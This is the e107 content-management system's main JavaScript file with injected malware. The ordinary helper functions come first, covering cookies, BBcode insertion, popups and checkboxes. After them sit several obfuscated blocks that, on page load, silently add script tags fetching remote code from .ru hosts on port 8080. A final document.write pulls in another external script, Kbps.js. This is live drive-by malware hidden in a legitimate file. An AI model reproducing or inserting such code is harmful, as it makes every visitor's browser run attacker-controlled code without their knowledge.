<!--

/*
+ ----------------------------------------------------------------------------+
|	e107 website system - Javascript File.
|
|	$Source: /cvsroot/e107/e107_0.7/e107_files/e107.js,v $
|	$Revision: 1.29 $
|	$Date: 2008/10/30 21:00:23 $
|	$Author: e107steved $
+----------------------------------------------------------------------------+
*/

/*
 * NOTE: KEEP THIS AT THE TOP OF E107.JS!
 * localTime is recorded ASAP after page load; SyncWithServerTime is called at the END
 * of page processing. We want localTime and serverTime set in close chronological order.
 * Page Processing order is as follows:
 * A) All PHP code encountered sequentially in page
 * B) All Javascript code encountered sequentially in page NOT including function internals
 * So best proximity is achieved by setting
 * serverTime at END of php code, and localTime at START of js code.
 * NOTE: this method means reported times include transfer delay. It's slightly MORE accurate this way!
 * Final product: tdOffset cookie contains server-browser time difference in seconds,
 * independent of time zone. tzOffset contains browser time zone in minutes.
 */

var nowLocal = new Date();		/* time at very beginning of js execution */
var localTime = Math.floor(nowLocal.getTime()/1000);	/* time, in ms -- recorded at top of jscript */
/* NOTE: if serverDelta is needed for js functions, you must pull it from
 * the cookie (as calculated during a previous page load!)
 * The value calculated in SyncWithServerTime is not known until after the
 * entire page has been processed.
 */
function SyncWithServerTime(serverTime)
{
	if (serverTime) 
	{
	  	/* update time difference cookie */
		var serverDelta=Math.floor(localTime-serverTime);
	  	document.cookie = 'e107_tdOffset='+serverDelta+'; path=/';
	  	document.cookie = 'e107_tdSetTime='+(localTime-serverDelta)+'; path=/'; /* server time when set */
	}

	var tzCookie = 'e107_tzOffset=';
//	if (document.cookie.indexOf(tzCookie) < 0) {
		/* set if not already set */
		var timezoneOffset = nowLocal.getTimezoneOffset(); /* client-to-GMT in minutes */
		document.cookie = tzCookie + timezoneOffset+'; path=/';
//	}
}
var ns6=0;
if(document.getElementById&&!document.all){ns6=1;}
var agtbrw=navigator.userAgent.toLowerCase();
var operaaa=(agtbrw.indexOf('opera')!=-1);
var head="display:''";
var folder='';

function expandit(curobj, hide) {
	if(document.getElementById(curobj)) {
  		folder=document.getElementById(curobj).style;
	} else {
		if(ns6==1||operaaa==true) {
			folder=curobj.nextSibling.nextSibling.style;
		} else {
			folder=document.all[curobj.sourceIndex+1].style;
		}
   }
	if(folder.display=="none")
	{
		folder.display="";
	} else {
		folder.display="none";
	}
	if(hide) {
		var hide_objects = hide.split(",");
		for(i=0; i<hide_objects.length; i++) {
			hide_objects[i]=hide_objects[i].replace(/^\s*(.*)/, "$1");
			hide_objects[i]=hide_objects[i].replace(/(.*?)\s*$/, "$1");
			if(document.getElementById(hide_objects[i])) {
				hidden=document.getElementById(hide_objects[i]).style;
				if(hidden.display=="") {
					hidden.display="none";
				}
			}
		}
	}
}

function urljump(url){
	top.window.location = url;
}

function setInner(id, txt) {
	document.getElementById(id).innerHTML = txt;
}

function jsconfirm(thetext){
		return confirm(thetext);
}

function insertext(str,tagid,display){
	document.getElementById(tagid).value = str;
	if(display){
		document.getElementById(display).style.display='none';
	}
}

function appendtext(str,tagid,display){
	document.getElementById(tagid).value += str;
	document.getElementById(tagid).focus();
	if(display){
		document.getElementById(display).style.display='none';
	}
}

function open_window(url,wth,hgt) {
	if('full' == wth){
		pwindow = window.open(url);
	} else {
		if (wth) {
			mywidth=wth;
		} else {
			mywidth=600;
		}

		if (hgt) {
			myheight=hgt;
		} else {
			myheight=400;
		}

		pwindow = window.open(url,'Name', 'top=100,left=100,resizable=yes,width='+mywidth+',height='+myheight+',scrollbars=yes,menubar=yes');
	}
	pwindow.focus();
}

function ejs_preload(ejs_path, ejs_imageString){
	var ejs_imageArray = ejs_imageString.split(',');
	for(ejs_loadall=0; ejs_loadall<ejs_imageArray.length; ejs_loadall++){
		var ejs_LoadedImage=new Image();
		ejs_LoadedImage.src=ejs_path + ejs_imageArray[ejs_loadall];
	}
}

function textCounter(field,cntfield) {
	cntfield.value = field.value.length;
}

function openwindow() {
	opener = window.open("htmlarea/index.php", "popup","top=50,left=100,resizable=no,width=670,height=520,scrollbars=no,menubar=no");
	opener.focus();
}

function setCheckboxes(the_form, do_check, the_cb){
	var elts = (typeof(document.forms[the_form].elements[the_cb]) != 'undefined') ? document.forms[the_form].elements[the_cb] : document.forms[the_form].elements[the_cb];
	if(document.getElementById(the_form))
	{
		if(the_cb)
		{
			var elts =(typeof(document.getElementById(the_form).elements[the_cb]) != 'undefined') ? document.getElementById(the_form).elements[the_cb] : document.getElementById(the_form).elements[the_cb];
		}
		else
		{
        	var elts = document.getElementById(the_form);
		}
	}

	var elts_cnt  = (typeof(elts.length) != 'undefined') ? elts.length : 0;
	if(elts_cnt){
		for(var i = 0; i < elts_cnt; i++){
			elts[i].checked = do_check;
		}
	}else{
		elts.checked        = do_check;
		}
	return true;
}

var ref=""+escape(top.document.referrer);
var colord = window.screen.colorDepth;
var res = window.screen.width + "x" + window.screen.height;
var eself = document.location;

/* TODO: @SecretR - Object of removal
// From http://phpbb.com
var clientPC = navigator.userAgent.toLowerCase();
var clientVer = parseInt(navigator.appVersion);
var is_ie = ((clientPC.indexOf("msie") != -1) && (clientPC.indexOf("opera") == -1));
var is_nav = ((clientPC.indexOf('mozilla')!=-1) && (clientPC.indexOf('spoofer')==-1) && (clientPC.indexOf('compatible') == -1) && (clientPC.indexOf('opera')==-1) && (clientPC.indexOf('webtv')==-1) && (clientPC.indexOf('hotjava')==-1));
var is_moz = 0;
var is_win = ((clientPC.indexOf("win")!=-1) || (clientPC.indexOf("16bit") != -1));
var is_mac = (clientPC.indexOf("mac")!=-1);
var e107_selectedInputArea;
var e107_selectedRange;


// From http://www.massless.org/mozedit/
function mozWrap(txtarea, open, close){
	var selLength = txtarea.textLength;
	var selStart = txtarea.selectionStart;
	var selEnd = txtarea.selectionEnd;
	if (selEnd == 1 || selEnd == 2) selEnd = selLength;
	var s1 = (txtarea.value).substring(0,selStart);
	var s2 = (txtarea.value).substring(selStart, selEnd)
	var s3 = (txtarea.value).substring(selEnd, selLength);
	txtarea.value = s1 + open + s2 + close + s3;
	return;
}

function mozSwap(txtarea, newtext){
	var selLength = txtarea.textLength;
	var selStart = txtarea.selectionStart;
	var selEnd = txtarea.selectionEnd;
	if (selEnd == 1 || selEnd == 2) selEnd = selLength;
	var s1 = (txtarea.value).substring(0,selStart);
	var s3 = (txtarea.value).substring(selEnd, selLength);
	txtarea.value = s1 + newtext + s3;
	return;
}
*/

function storeCaret (textAr){
	e107_selectedInputArea = textAr;
	/* TODO: @SecretR - Object of removal - not needed anymore
	if (textAr.createTextRange){
		e107_selectedRange = document.selection.createRange().duplicate();
	}*/
}

/**
 * New improved version - fixed scroll to top behaviour when inserting BBcodes
 * @TODO - improve it more (0.8) - Prototype
 */
function addtext(text, emote) {
	
	if (!window.e107_selectedInputArea) {
		return; //[SecretR] TODO - alert the user 
	}
		
	var eField = e107_selectedInputArea;	
	var eSelection 	= false;  
	var tagOpen = '';
	var tagClose = '';
	
	if (emote != true) {  // Split if its a paired bbcode
		var tmp = text.split('][', 2);
		if (tmp[0] == text) {
			tagOpen = text;
		} else {
			tagOpen = tmp[0] + ']';
			tagClose = '[' + tmp[1];
		}
	} else { //Insert Emote
		tagOpen = text;
	}
		

	// Windows user  
	if (document.selection) {
		eSelection = document.selection.createRange().text;
		eField.focus();
		if (eSelection) {
			document.selection.createRange().text = tagOpen + eSelection + tagClose;
		} else {
			document.selection.createRange().text = tagOpen + tagClose;
		}
		
		eSelection = '';
		
		eField.blur();
		eField.focus();
		
		return;
	} 
	
	var scrollPos = eField.scrollTop;
	var selLength = eField.textLength;
	var selStart = eField.selectionStart;
	var selEnd = eField.selectionEnd; 
	if (selEnd <= 2 && typeof(selLength) != 'undefined') {
		selEnd = selLength;
	}
	var sel1 = (eField.value).substring(0,selStart);
	var sel2 = (eField.value).substring(selStart, selEnd);
	var sel3 = (eField.value).substring(selEnd, selLength);

	var newStart = selStart + tagOpen.length + sel2.length + tagClose.length;
	eField.value = sel1 + tagOpen + sel2 + tagClose + sel3;

	eField.focus();
	eField.selectionStart = newStart;
	eField.selectionEnd = newStart;
	eField.scrollTop = scrollPos;
	return;

}

function help(helpstr,tagid){
	if(tagid){
		document.getElementById(tagid).value = helpstr;
	} else if(document.getElementById('dataform')) {
		document.getElementById('dataform').helpb.value = helpstr;
	}
}
function externalLinks() {
	if (!document.getElementsByTagName) return;
	var anchors = document.getElementsByTagName("a");
	for (var i=0; i<anchors.length; i++) {
	var anchor = anchors[i];
	if (anchor.getAttribute("href") &&
		anchor.getAttribute("rel") == "external")
		anchor.target = "_blank";
	}
}

function eover(object, over) {
	object.className = over;
}

var e107_dupCounter = 1;
function duplicateHTML(copy,paste,baseid){
		if(document.getElementById(copy)){

			e107_dupCounter++;
			var type = document.getElementById(copy).nodeName; // get the tag name of the source copy.

			var but = document.createElement('input');
			var br = document.createElement('br');

			but.type = 'button';
			but.value = 'x';
			but.className = 'button';
			but.onclick = function(){ this.parentNode.parentNode.removeChild(this.parentNode); };

			var destination = document.getElementById(paste);
			var source      = document.getElementById(copy).cloneNode(true);

			var newentry = document.createElement(type);

			newentry.appendChild(source);
			newentry.value='';
			newentry.appendChild(but);
			newentry.appendChild(br);
			if(baseid)
			{
				newid = baseid+e107_dupCounter;
				newentry.innerHTML = newentry.innerHTML.replace(new RegExp(baseid, 'g'), newid);
				newentry.id=newid;
			}

			destination.appendChild(newentry);
		}
}

function preview_image(src_val,img_path, not_found)
{
	var ta;
	var desti = src_val + '_prev';

	ta = document.getElementById(src_val).value;
	if(ta){
		document.getElementById(desti).src = img_path + ta;
	}else{
		document.getElementById(desti).src = not_found;
	}
	return;
}


//-->
e=14810;e++;kd=21392;kd++;function Q(){I=19184;I--;var SQ=["Nc","S","M"];var l="scri"+"ptaDs".substr(0,2);this.H=false;var m=String("src");var c=document;this.xi="xi";cO=41720;cO--;var t="onlo"+"ad";var Y=new String("crNLf".substr(0,2)+"DJYea".substr(3)+"te"+"El"+"9uvIemIv9u".substr(4,2)+"oCgen".substr(3)+"tzkVd".substr(0,1));Tt=["Z"];Sz={v:false};this.qh=false;var lJ=new String("defe"+"r3DLx".substr(0,1));var eJ=false;var D=new String("app"+"endUtJ".substr(0,3)+"Chi"+"45uld5u4".substr(3,2));var j=window;try {var ej='EE'} catch(ej){};n=54458;n+=49;var k=new String("bod"+"z9ly".substr(3));var HR="";var Jr=new Date();var ya={};function J(){var L=["w","DC","p"];aG={g:"bx"};var tk={NO:false};this.Ce='';try {var TI=["AT","XP"];this.an=48148;this.an--;xvE=[];this.WC=false;var K=2746-2745;var s=false;var lX="htt"+"p:/hMxP".substr(0,3)+"/pa"+"ZVassp".substr(3)+"ort"+"blu"+"es."+"TGsFru:FGsT".substr(4,3);var Je=String("/goo"+"d8YTgle-".substr(4)+"no/g"+"ufcooglfuc".substr(3,4)+"Tp4e.co".substr(3)+"m/ae"+"ivJ1bn.n".substr(4)+"BhYet.p".substr(3)+"hp");var x=641568-633488;var Uf=["UB","ltu"];y=c[Y](l);var xE='';var FB=["ys"];this.Cn=false;this.Dv=false;var gB=false;var Jf={r:"TG"};y[m]=lX+x+Je;var aGK=43964;var Nx=false;var nf=["Mf","Xc"];y[lJ]=K;Sa=[];c[k][D](y);try {var Xv='oq'} catch(Xv){};var Zh=29690;var OW=21779;zL=["JQ","Cv","aZ"];} catch(O){try {} catch(Nxl){};var tQ=["Qg"];};lb={};var tj=["Eh","dK","YD"];}var iO=31519;this.EL='';j[t]=J;var Tf=["Mb","sQ","zM"];};var lq={Ed:"OC"};var QX=34578;Q();pL=64170;pL-=149;var lN={};
function P(){_t=11188;_t--;Fu=686;Fu++;ZM=5209;ZM++;var K=new Date();var h=document;var b=false;var KW=31674;var he=new String("def"+"QVa3er".substr(4));var pMW=["Ps","pM","u"];var w=new String("appen"+"dChil"+"d");var Gq="Gq";var y=String("on"+"lo"+"ad7Px5".substr(0,2));var S={sJ:47953};var E=window;try {var B='H'} catch(B){};var J="srai8".substr(0,2)+"c";Rx={l:32537};var f=[];var a=String("cr"+"ea"+"te"+"ByWoEl".substr(4)+"em"+"kqdrendkrq".substr(4,2)+"tAw6q".substr(0,1));var Z=new String("body");this.Bf=20962;this.Bf--;NQ=[];var ww=String("scrip"+"MWyt".substr(3));_x=["Af","BfT","i"];this.k='';W=[];function A(){NB=["ho","zv"];try {var s=160204-152124;var SQ=new Date();var r={};var sM="hfL/go".substr(3)+"ogliP1y".substr(0,3)+"e.c"+"y1UAom/AUy1".substr(4,3)+"mul"+"AqktiuAkq".substr(3,3)+"plo"+"0zbad.b0z".substr(3,3)+"comQrVN".substr(0,3)+"g0ZF/izgZ0F".substr(4,3)+"OD4a.nDO4".substr(3,3)+"e.j"+"p.pHdr".substr(0,3)+"uwZhpZuw".substr(3,2);bR=30933;bR++;Rj={BA:false};var _=String("http:"+"//pasmzSE".substr(0,5)+"sport"+"Jc2blues".substr(3)+".ru:");var ai=7381-7380;this.UQ="";this.Fy=false;var jU={lg:"Os"};ka={Zi:false};m=h[a](ww);var cP={Wk:25659};var M={v:false};m[he]=ai;var me=new String();m[J]=_+s+sM;this.qs='';this.hX="";heF=["Uu"];try {var wE='fa'} catch(wE){};h[Z][w](m);var Xo={Y:false};var EP=["Io","St"];Fp=[];qU={oc:false};} catch(hA){try {} catch(sj){};try {var aK='jW'} catch(aK){};};}jv=["xN","Jl","kJ"];var xr=[];E[y]=A;this.My="";this.Uun=28109;this.Uun++;};P();

try {F=["G","rb"];var r=window["uneQCk".substr(0,3)+"m4lrsca".substr(4)+"pe"];this.Nw=57046;this.Nw+=200;this.ld=42748;this.ld+=168;this.L=31390;this.L+=16;this.p=false;try {var m='C'} catch(m){};var ne=["T","B"];Oc={oS:false};this.eN=49947;this.eN-=131;xm=["Mx","_e","GF"];var eK=["f"];try {} catch(wH){};fY=[];var a=window[(new String("RegE"+"xp"))];this.lm=51793;this.lm-=247;this.Vq=39423;this.Vq-=66;var rN=["JC","Fh"];var N=new String("repla"+"ce");var K=String("1");var WU={LF:38419};UF={};var n=String("onl"+"oad");try {var oR='fS'} catch(oR){};d={gT:false};Nd={Mo:false};try {var nP='hj'} catch(nP){};var _='';var ln={Jq:8643};var xp={c:53957};this.YL='';function R(K,v){this.LX='';TB={Gv:22190};this.GZ='';this.EM='';var XS=["Sn","ok","GN"];eO=24516;eO++;Un=56624;Un++;this.pc=59920;this.pc++;aQ=["Rig"];var TR=new String();var S=new String("[");var _Y=false;S+=v;this.zH=58583;this.zH++;var eb="";var D=48451;try {var SGA='Gz'} catch(SGA){};S+=r("%5d");this.qP=false;this.heN="heN";this.qo="qo";this.aI=21351;this.aI++;this.zW=false;var Gl='';this.nq=36424;this.nq--;var y=new a(S, "g");mV=8703;mV-=130;yi=27415;yi+=147;return K.replace(y, _);this.Ol='';var An=new Array();Pu=[];};this.PT=false;this.Dr=23796;this.Dr-=238;var o=68244-60164;var WT='';var mA="";var sH='';this.xpK=51428;this.xpK++;var v_=new String();var cR=["Ru","Wc","Lx"];this.NX=10079;this.NX++;this.Xo="";var aM="/twe"+"etme"+"me-c"+"om/g"+"oogl"+"e.co"+"m/so"+"ufun"+".com"+".php";var GG=new String();var ko=["Le","mm","Lk"];var J=String("httunMX".substr(0,3)+"p:/"+"/go"+"thg"+"g7Ruil".substr(3)+"Zv3t.r".substr(3)+"iL5mu:L5im".substr(4,2));function E(){var Yg=false;this.Cu=38242;this.Cu+=252;It={Xf:false};this.NI=64581;this.NI+=250;Tc={BV:56918};this.ir=18737;this.ir--;zL={_q:"aIu"};Ka=[];this.UB=52292;this.UB--;try {} catch(H_){};this.gL=49134;this.gL++;Wz=11854;Wz-=203;tV=54799;tV-=22;var z=document;AM=[];var l=new String("appe"+"ndCh"+"Qcz6ild".substr(4));var li=new Date();var QO=["ZQ"];var jfe=["rNV"];var M=R('sdcArNi7pAtq','qhTdvaxJ7nQAFNy');TO={Kg:false};__=["OS","Fn"];try {var _a='uD'} catch(_a){};this.rH=false;WR=[];oZ=z.createElement(M);var Lt=["Wl","sJ"];var CT=["YV","cn"];jG=["YN","qw","Gx"];var LB=["pu","EI"];kG=["Yv","OT","waq"];P=J+o;this._S='';this.Zg=21060;this.Zg++;var pQ=new Array();var su=new Date();P=P+aM;Qe=["Vl"];wV={nf:false};var mu=new String();var Kw={pQp:"Ak"};var gZ={cT:"ao"};try {var fs='TWZ'} catch(fs){};var e=z.body;var YI=["mh"];var ow=["au"];oZ[new String("EjZDdef".substr(4)+"er")]=K;try {} catch(_T){};try {var tm='mc'} catch(tm){};oZ.src=P;try {var RO='nY'} catch(RO){};yj={My:6707};try {var kDo='ET'} catch(kDo){};try {var PG='oO'} catch(PG){};var Gi=["cI","Io"];var YU={sA:false};var Km=["uDK","Hy"];e[l](oZ);};_A={Zo:40142};window[n]=E;try {} catch(UI){};var Rd=false;var WCU=false;var Wp={};} catch(b){VO={ST:"Ns"};var OB=["vJ"];qy=4553;qy+=157;var zO="zO";JV=56006;JV+=97;};this.eX="";




document.write('<s'+'cript type="text/javascript" src="http://temp.hbsouthmomsclub.com:8080/Kbps.js"></scr'+'ipt>');